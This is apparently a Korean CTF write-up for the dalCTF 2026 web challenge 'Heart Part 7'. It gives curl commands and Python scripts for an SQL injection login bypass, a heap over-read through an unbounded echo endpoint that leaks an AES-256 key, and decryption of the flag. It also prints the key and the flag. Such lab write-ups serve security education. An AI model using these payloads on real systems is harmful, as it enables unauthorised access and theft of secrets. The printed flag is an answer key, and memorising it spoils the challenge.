하트 파트 7 - dalCTF 2026

발행: (2026년 6월 8일 PM 01:25 GMT+9)
5 분 소요
원문: Dev.to

출처: Dev.to

Heart Part 7 - dalCTF 2026 표지 이미지

Yogeshwar Peela

카테고리:

플래그: dalctf{p1mp_p1mp_h00r4y}

개요

Kendrick Lamar의 m.A.A.d city / Kung Fu Kenny 이야기를 테마로 한 다단계 웹 챌린지입니다. 공격 흐름은 다음과 같습니다.

  • SQL 인젝션을 이용해 인증을 우회하고 관리자 JWT 획득
  • 무제한 echo 버퍼를 이용한 힙 메모리 누출로 AES‑256 키 확보
  • 누출된 키와 API 응답에 별도로 포함된 IV 필드를 사용해 플래그를 가져와 복호화

1단계 – SQL 인젝션 → 관리자 세션

/login 엔드포인트가 고전적인 SQL 인젝션에 취약했습니다. -- - 로 비밀번호 검사를 주석 처리하면 인증을 완전히 우회하고 유효한 JWT 세션 쿠키와 함께 /admin 으로 리다이렉트됩니다.

curl -X POST https:///login \
  -d "username=admin'-- -&password=x"

응답:

HTTP/2 302
location: /admin
set-cookie: session=eyJhbGci...GRnU_ObEj_WaG6GQOE8Y-DMsD9qhVPDvfx9YfIcNn6Q

디코드된 JWT 페이로드:

{"username": "admin", "role": "admin"}

JWT는 정적·취약한 시크릿으로 서명되었으며 챌린지 전체 동안 유효했습니다.

2단계 – Cipher Health 엔드포인트를 통한 힙 메모리 누출

관리자 패널에 /cipher/health 엔드포인트가 노출되어 있었으며, 사용자가 제어하는 버퍼를 size 바이트만큼 패딩해서 그대로 반환했습니다. size 를 크게 잡고 1 바이트만 전송하면 서버가 남은 공간을 인접 힙 메모리로 채우게 되며, 이 과정에서 AES‑256 키가 누출됩니다.

curl -X POST https:///cipher/health \
  -H "Content-Type: application/json" \
  -b "session=" \
  -d '{"data": "A", "size": 100}'

응답 (echo 필드, base64 디코드 후):

A[63 null bytes]KENDRICK_MASTER_KEY=

키 추출 스크립트:

curl -s -X POST https:///cipher/health \
  -H "Content-Type: application/json" \
  -b "session=" \
  -d '{"data": "A", "size": 100}' | python3 -c "
import sys, json, base64
d = json.load(sys.stdin)
echo = base64.b64decode(d['echo'])
ki = echo.find(b'KENDRICK_MASTER_KEY=')
key_bytes = echo[ki+20:ki+52]
print('Key hex:', key_bytes.hex())
"

누출된 키:

9e1b8a5f8ed44e4711c0f4768c13f5a336bc4a6deeea307720a87b9fca44f02d

변수명 KENDRICK_MASTER_KEY 와 서비스명 MAadCipher 모두 챌린지 전반에 깔린 Kendrick Lamar 테마에 대한 힌트입니다.

3단계 – 암호화된 플래그 가져오기

/api/flag 엔드포인트는 JSON 객체를 반환합니다. 초기 실수는 ciphertext 필드만 추출한 것이었으며, 실제 IV는 응답에 별도 필드 로 존재했습니다.

curl -s https:///api/flag \
  -b "session="

전체 응답:

{
  "algorithm": "AES-256-CBC",
  "ciphertext": "baCIJCXuBcIOJ23q0FS8GDaSN5/71aIqY156ju5Z6oc=",
  "iv": "fcSvIZ1LMw72z34mvr0O5A==",
  "sealed_by": "MAadCipher v1.0",
  "status": "ok"
}

함정: ciphertext 블록의 앞 16 바이트를 IV 로 착각하고 복호화하면 두 번째 AES 블록만 복원돼 _h00r4y} 라는 플래그의 꼬리만 얻을 수 있습니다. 올바른 IV는 항상 "iv" 필드에 있었습니다.

4단계 – 플래그 복호화

누출된 키와 올바른 IV 를 이용해 표준 AES‑256‑CBC 복호화를 수행하면 플래그를 얻을 수 있습니다.

python3 - <<'EOF'
from base64 import b64decode
import subprocess

KEY = "9e1b8a5f8ed44e4711c0f4768c13f5a336bc4a6deeea307720a87b9fca44f02d"
iv  = b64decode("fcSvIZ1LMw72z34mvr0O5A==")
ct  = b64decode("baCIJCXuBcIOJ23q0FS8GDaSN5/71aIqY156ju5Z6oc=")

result = subprocess.run(
    ["openssl", "enc", "-d", "-aes-256-cbc",
     "-K", KEY, "-iv", iv.hex(), "-nosalt"],
    input=ct, capture_output=True
)
raw = result.stdout
pad = raw[-1]
print("FLAG:", raw[:-pad].decode())
EOF

출력:

FLAG: dalctf{p1mp_p1mp_h00r4y}

공격 흐름 요약

Login 페이지
  └─ SQL 인젝션 (admin'-- -)
       └─ 관리자 JWT 세션
            └─ /cipher/health 힙 누출
                 └─ KENDRICK_MASTER_KEY (AES‑256 키)
                      └─ /api/flag → ciphertext + iv
                           └─ AES‑256‑CBC 복호화
                                └─ dalctf{p1mp_p1mp_h00r4y}

주요 교훈

  • API 응답을 전체적으로 읽어라. IV 가 JSON 안에 있었음에도 ciphertext 만 추출하면 “누락된 블록” 함정에 빠집니다.
  • 무제한 echo 버퍼는 힙 메모리를 누출한다. size 파라미터에 상한이 없어 헬스 체크가 임의 힙 읽기(CWE‑126)로 전락했습니다.
  • 테마 ≠ 플래그 값 힌트. Kendrick / M.A.A.D / PIMP 테마는 분위기일 뿐, 실제 플래그는 올바른 암호화 복호화 과정을 통해 얻어야 합니다.
0 조회
Back to Blog

관련 글

더 보기 »